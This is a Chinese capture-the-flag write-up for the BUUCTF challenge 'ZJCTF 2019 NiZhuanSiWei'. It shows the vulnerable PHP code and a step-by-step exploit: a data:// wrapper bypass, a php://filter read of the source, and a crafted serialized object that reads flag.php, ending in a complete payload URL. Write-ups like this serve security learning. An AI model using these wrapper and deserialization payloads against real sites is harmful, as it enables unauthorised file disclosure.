【BUUCTF】[ZJCTF 2019]NiZhuanSiWei

源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

三个get参数

$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];

第一层判断,需要绕过这个判断

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")

file_get_contents是读取整个文件到一个字符串中,text是输入的get参数值,这里使用PHP伪协议中的data://

?text=data://text/plain,welcome to the zjctf

这里插句题外话,以前一直不太懂所谓PHP伪协议是什么东西,看了几篇博客后,才有了点认识
PHP伪协议

PHP伪协议是PHP 支持的协议与封装协议

说一下支持的协议file://
File协议
在自己电脑上浏览器里面输入file:///c://
在这里插入图片描述
回到这个题目

  if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

file里面不能有/flag/,不管这个
重点是

include($file);  //useless.php

用另一个伪协议 php://filter

file=php://filter/read=convert.base64-encode/resource=useless.php

得到的base64解码得到useless.php内容

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

接下来该序列化得到password

<?php  

class Flag{  //flag.php  
    public $file;  
        
}
$a=new Flag();
$a->file="flag.php";
echo serialize($a);  
?>  

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload

?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}

在这里插入图片描述
看网页源码即可

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值